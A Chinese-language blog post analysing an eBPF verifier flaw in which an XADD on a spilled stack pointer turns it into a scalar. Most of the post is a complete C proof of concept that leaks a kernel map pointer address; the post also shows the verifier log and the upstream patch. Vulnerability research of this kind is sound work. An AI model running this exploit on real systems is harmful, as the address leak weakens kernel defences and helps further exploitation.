ebpf信息泄露漏洞分析
19 Jun 2020
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前言
enum bpf_reg_type {
NOT_INIT = 0, /* nothing was written into register */
SCALAR_VALUE, /* reg doesn't contain a valid pointer */
PTR_TO_CTX, /* reg points to bpf_context */
CONST_PTR_TO_MAP, /* reg points to struct bpf_map */
PTR_TO_MAP_VALUE, /* reg points to map element value */
PTR_TO_MAP_VALUE_OR_NULL,/* points to map elem value or NULL */
PTR_TO_STACK, /* reg == frame_pointer + offset */
PTR_TO_PACKET_META, /* skb->data - meta_len */
PTR_TO_PACKET, /* reg points to skb->data */
PTR_TO_PACKET_END, /* skb->data + headlen */
PTR_TO_FLOW_KEYS, /* reg points to bpf_flow_keys */
PTR_TO_SOCKET, /* reg points to struct bpf_sock */
PTR_TO_SOCKET_OR_NULL, /* reg points to struct bpf_sock or NULL */
PTR_TO_SOCK_COMMON, /* reg points to sock_common */
PTR_TO_SOCK_COMMON_OR_NULL, /* reg points to sock_common or NULL */
PTR_TO_TCP_SOCK, /* reg points to struct tcp_sock */
PTR_TO_TCP_SOCK_OR_NULL, /* reg points to struct tcp_sock or NULL */
PTR_TO_TP_BUFFER, /* reg points to a writable raw tp's buffer */
PTR_TO_XDP_SOCK, /* reg points to struct xdp_sock */
PTR_TO_BTF_ID, /* reg points to kernel struct */
PTR_TO_BTF_ID_OR_NULL, /* reg points to kernel struct or NULL */
PTR_TO_MEM, /* reg points to valid memory region */
PTR_TO_MEM_OR_NULL, /* reg points to valid memory region or NULL */
};
bpf模块中，在通过check_mem_access检查后，check_xadd()函数（自加操作）设置了一个黑名单，目前只允许四种指针类型使用XADD指令：
if (is_ctx_reg(env, insn->dst_reg) ||
is_pkt_reg(env, insn->dst_reg) ||
is_flow_key_reg(env, insn->dst_reg) ||
is_sk_reg(env, insn->dst_reg)) {
verbose(env, "BPF_XADD stores into R%d %s is not allowed\n",
insn->dst_reg,
reg_type_str[reg_state(env, insn->dst_reg)->type]);
return -EACCES;
}
PTR_TO_MAP_VALUE
PTR_TO_CTX rejected
PTR_TO_STACK
PTR_TO_PACKET rejected
PTR_TO_PACKET_META rejected
PTR_TO_FLOW_KEYS rejected
PTR_TO_SOCKET rejected
PTR_TO_SOCK_COMMON rejected
PTR_TO_TCP_SOCK rejected
PTR_TO_XDP_SOCK rejected
PTR_TO_TP_BUFFER
PTR_TO_BTF_ID
分别为：
- PTR_TO_MAP_VALUE
- PTR_TO_STACK
- PTR_TO_TP_BUFFER
- PTR_TO_BTF_ID
漏洞分析
do_check->check_xadd
->check_mem_access BPF_READ
->check_stack_read
->mark_reg_read
->check_mem_access BPF_WRITE
->check_stack_write
/* check whether atomic_add can read the memory */
err = check_mem_access(env, insn_idx, insn->dst_reg, insn->off,
BPF_SIZE(insn->code), BPF_READ, -1, true);
if (err)
return err;
/* check whether atomic_add can write into the same memory */
return check_mem_access(env, insn_idx, insn->dst_reg, insn->off,
BPF_SIZE(insn->code), BPF_WRITE, -1, true);
第一个check_mem_access检查了xadd操作是否可以读取内存，针对栈指针的操作，就是验证是否可以读取栈的内容。
lock *(u64 *)(r10 -8) += r1 ，这条指令对栈有读写操作，在读检测时，从栈中读出是指针类型也可检验通过。
这个漏洞关键点在于通过
lock *(u64 *)(r10 -8) += r1
r8 = *(u64 *)(r10 -8)
使得到的r8不是指针类型，而是SCALAR_VALUE，才能绕过map对写入数据是否为指针的检测，从而泄露地址。
将指针写入栈中，或读取栈中的指针都没有限制，主要是如何让r8变成SCALAR_VALUE，明天看
这里修改了reg的类型，变成NOT_INIT
/* regular write of data into stack destroys any spilled ptr */
state->stack[spi].spilled_ptr.type = NOT_INIT;
/* Mark slots as STACK_MISC if they belonged to spilled ptr. */
if (state->stack[spi].slot_type[0] == STACK_SPILL)
for (i = 0; i < BPF_REG_SIZE; i++)
state->stack[spi].slot_type[i] = STACK_MISC;
主要是通过xadd 操作，使得state->stack[spi].slot_type[0] 不等于 STACK_SPILL ，绕过了check_stack_write这个限制：
if (!env->allow_ptr_leaks &&
state->stack[spi].slot_type[0] == STACK_SPILL && size != BPF_REG_SIZE) { verbose(env, "attempt to corrupt spilled pointer on stack\n");
return -EACCES;
}
PoC代码
#define _GNU_SOURCE
#include <pthread.h>
#include <err.h>
#include <errno.h>
#include <sched.h>
#include <stdio.h>
#include <unistd.h>
#include <linux/bpf.h>
#include <linux/filter.h>
#include <linux/prctl.h>
#include <sys/syscall.h>
#include <stdint.h>
#include <sys/socket.h>
#include <string.h>
#include <poll.h>
#include <sys/uio.h>
#include <fcntl.h>
#define GPLv2 "GPL v2"
#define ARRSIZE(x) (sizeof(x) / sizeof((x)[0]))
/* registers */
/* caller-saved: r0..r5 */
#define BPF_REG_ARG1 BPF_REG_1
#define BPF_REG_ARG2 BPF_REG_2
#define BPF_REG_ARG3 BPF_REG_3
#define BPF_REG_ARG4 BPF_REG_4
#define BPF_REG_ARG5 BPF_REG_5
#define BPF_REG_CTX BPF_REG_6
#define BPF_REG_FP BPF_REG_10
#define BPF_LD_IMM64_RAW(DST, SRC, IMM) \
((struct bpf_insn) { \
.code = BPF_LD | BPF_DW | BPF_IMM, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = (__u32) (IMM) }), \
((struct bpf_insn) { \
.code = 0, /* zero is reserved opcode */ \
.dst_reg = 0, \
.src_reg = 0, \
.off = 0, \
.imm = ((__u64) (IMM)) >> 32 })
#define BPF_LD_MAP_FD(DST, MAP_FD) \
BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD)
#define BPF_LDX_MEM(SIZE, DST, SRC, OFF) \
((struct bpf_insn) { \
.code = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM,\
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = 0 })
#define BPF_MOV64_REG(DST, SRC) \
((struct bpf_insn) { \
.code = BPF_ALU64 | BPF_MOV | BPF_X, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = 0 })
#define BPF_ALU64_IMM(OP, DST, IMM) \
((struct bpf_insn) { \
.code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM })
#define BPF_ALU32_IMM(OP, DST, IMM) \
((struct bpf_insn) { \
.code = BPF_ALU | BPF_OP(OP) | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM })
#define BPF_STX_MEM(SIZE, DST, SRC, OFF) \
((struct bpf_insn) { \
.code = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM,\
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = 0 })
#define BPF_ST_MEM(SIZE, DST, OFF, IMM) \
((struct bpf_insn) { \
.code = BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, \
.dst_reg = DST, \
.src_reg = 0, \
.off = OFF, \
.imm = IMM })
#define BPF_EMIT_CALL(FUNC) \
((struct bpf_insn) { \
.code = BPF_JMP | BPF_CALL, \
.dst_reg = 0, \
.src_reg = 0, \
.off = 0, \
.imm = (FUNC) })
#define BPF_JMP_IMM(OP, DST, IMM, OFF) \
((struct bpf_insn) { \
.code = BPF_JMP | BPF_OP(OP) | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = OFF, \
.imm = IMM })
#define BPF_EXIT_INSN() \
((struct bpf_insn) { \
.code = BPF_JMP | BPF_EXIT, \
.dst_reg = 0, \
.src_reg = 0, \
.off = 0, \
.imm = 0 })
#define BPF_LD_ABS(SIZE, IMM) \
((struct bpf_insn) { \
.code = BPF_LD | BPF_SIZE(SIZE) | BPF_ABS, \
.dst_reg = 0, \
.src_reg = 0, \
.off = 0, \
.imm = IMM })
#define BPF_ALU64_REG(OP, DST, SRC) \
((struct bpf_insn) { \
.code = BPF_ALU64 | BPF_OP(OP) | BPF_X, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = 0 })
#define BPF_MOV64_IMM(DST, IMM) \
((struct bpf_insn) { \
.code = BPF_ALU64 | BPF_MOV | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM })
int bpf_(int cmd, union bpf_attr *attrs) {
return syscall(__NR_bpf, cmd, attrs, sizeof(*attrs));
}
int array_create(int value_size, int num_entries) {
union bpf_attr create_map_attrs = {
.map_type = BPF_MAP_TYPE_ARRAY,
.key_size = 4,
.value_size = value_size,
.max_entries = num_entries
};
int mapfd = bpf_(BPF_MAP_CREATE, &create_map_attrs);
if (mapfd == -1)
err(1, "map create");
return mapfd;
}
unsigned long get_ulong(int map_fd, uint64_t idx) {
uint64_t value;
union bpf_attr lookup_map_attrs = {
.map_fd = map_fd,
.key = (uint64_t)&idx,
.value = (uint64_t)&value
};
if (bpf_(BPF_MAP_LOOKUP_ELEM, &lookup_map_attrs))
err(1, "MAP_LOOKUP_ELEM");
return value;
}
int prog_load(struct bpf_insn *insns, size_t insns_count) {
char verifier_log[100000];
union bpf_attr create_prog_attrs = {
.prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
.insn_cnt = insns_count,
.insns = (uint64_t)insns,
.license = (uint64_t)GPLv2,
.log_level = 2,
.log_size = sizeof(verifier_log),
.log_buf = (uint64_t)verifier_log
};
int progfd = bpf_(BPF_PROG_LOAD, &create_prog_attrs);
int errno_ = errno;
printf("==========================\n%s==========================\n",
verifier_log);
errno = errno_;
if (progfd == -1)
err(1, "prog load");
return progfd;
}
int create_filtered_socket_fd(struct bpf_insn *insns, size_t insns_count) {
int progfd = prog_load(insns, insns_count);
// hook eBPF program up to a socket
// sendmsg() to the socket will trigger the filter
// returning 0 in the filter should toss the packet
int socks[2];
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks))
err(1, "socketpair");
if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(int)))
err(1, "setsockopt");
return socks[1];
}
void trigger_proc(int sockfd) {
if (write(sockfd, "X", 1) != 1)
err(1, "write to proc socket failed");
}
int main(void) {
int small_map = array_create(8, 1);
struct bpf_insn insns[] = {
// r7 = map_pointer
BPF_LD_MAP_FD(BPF_REG_7, small_map),
// r8 = launder(map_pointer)
BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_7, -8),
BPF_MOV64_IMM(BPF_REG_1, 0),
((struct bpf_insn) {
.code = BPF_STX | BPF_DW | BPF_XADD,
.dst_reg = BPF_REG_FP,
.src_reg = BPF_REG_1,
.off = -8
}),
BPF_LDX_MEM(BPF_DW, BPF_REG_8, BPF_REG_FP, -8),
// store r8 into map
BPF_MOV64_REG(BPF_REG_ARG1, BPF_REG_7),
BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -4),
BPF_ST_MEM(BPF_W, BPF_REG_ARG2, 0, 0),
BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
BPF_EXIT_INSN(),
BPF_STX_MEM(BPF_DW, BPF_REG_0, BPF_REG_8, 0),
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN()
};
int sock_fd = create_filtered_socket_fd(insns, ARRSIZE(insns));
trigger_proc(sock_fd);
printf("map[0] = 0x%lx\n", get_ulong(small_map, 0));
}
执行的指令为：
0: R1=ctx(id=0,off=0,imm=0) R10=fp0
0: (18) r7 = 0x0
2: (7b) *(u64 *)(r10 -8) = r7
3: (b7) r1 = 0
4: (db) lock *(u64 *)(r10 -8) += r1
5: (79) r8 = *(u64 *)(r10 -8)
6: (bf) r1 = r7
7: (bf) r2 = r10
8: (07) r2 += -4
9: (62) *(u32 *)(r2 +0) = 0
10: (85) call bpf_map_lookup_elem#1
11: (55) if r0 != 0x0 goto pc+1
12: (95) exit
13: (7b) *(u64 *)(r0 +0) = r8
14: (b7) r0 = 0
15: (95) exit
扩展思路：
（1）栈的写检查是否有问题
（2）其他指令
（3）其他类型的指针，比如map指针
./verifier.c:2169: if (value_regno >= 0)
./verifier.c:2298: if (value_regno >= 0) {
./verifier.c:2312: if (value_regno >= 0) {
./verifier.c:2347: if (value_regno >= 0) {
./verifier.c:3102: if (atype == BPF_READ && value_regno >= 0) {
./verifier.c:3143: if (t == BPF_WRITE && value_regno >= 0 &&
./verifier.c:3152: if (!err && t == BPF_READ && value_regno >= 0) {
./verifier.c:3177: if (t == BPF_WRITE && value_regno >= 0 &&
./verifier.c:3190: if (!err && t == BPF_READ && value_regno >= 0) {
./verifier.c:3236: if (t == BPF_WRITE && value_regno >= 0 &&
./verifier.c:3243: if (!err && t == BPF_READ && value_regno >= 0)
./verifier.c:3246: if (t == BPF_WRITE && value_regno >= 0 &&
./verifier.c:3254: if (!err && t == BPF_READ && value_regno >= 0)
./verifier.c:3263: if (!err && value_regno >= 0)
./verifier.c:3267: if (!err && t == BPF_READ && value_regno >= 0)
./verifier.c:3278: if (!err && size < BPF_REG_SIZE && value_regno >= 0 && t == BPF_READ &&
补丁
@@ -2308,6 +2317,16 @@ static int check_stack_read(struct bpf_verifier_env *env,
* which resets stack/reg liveness for state transitions
*/
state->regs[value_regno].live |= REG_LIVE_WRITTEN;
+ } else if (__is_pointer_value(env->allow_ptr_leaks, reg)) {
+ /* If value_regno==-1, the caller is asking us whether
+ * it is acceptable to use this value as a SCALAR_VALUE
+ * (e.g. for XADD).
+ * We must not allow unprivileged callers to do that
+ * with spilled pointers.
+ */
+ verbose(env, "leaking pointer from stack off %d\n",
+ off);
+ return -EACCES;
}
mark_reg_read(env, reg, reg->parent, REG_LIVE_READ64);
} else {
lock *(u64 *)(r10 -8) += r1 这条指令对栈有读写操作，在读检测时，补丁的做法是如果从栈中读出的不是SCALAR_VALUE类型，而是指针类型，就不让读了，报错退出。
在value_regno =-1的情况下，如果reg是指针类型就报错
参考链接
https://lore.kernel.org/bpf/CAG48ez0ZaSo-fC0bXnYChAmEZvv_0sGsxUG5HdFn6YJdOf1=Mg@mail.gmail.com/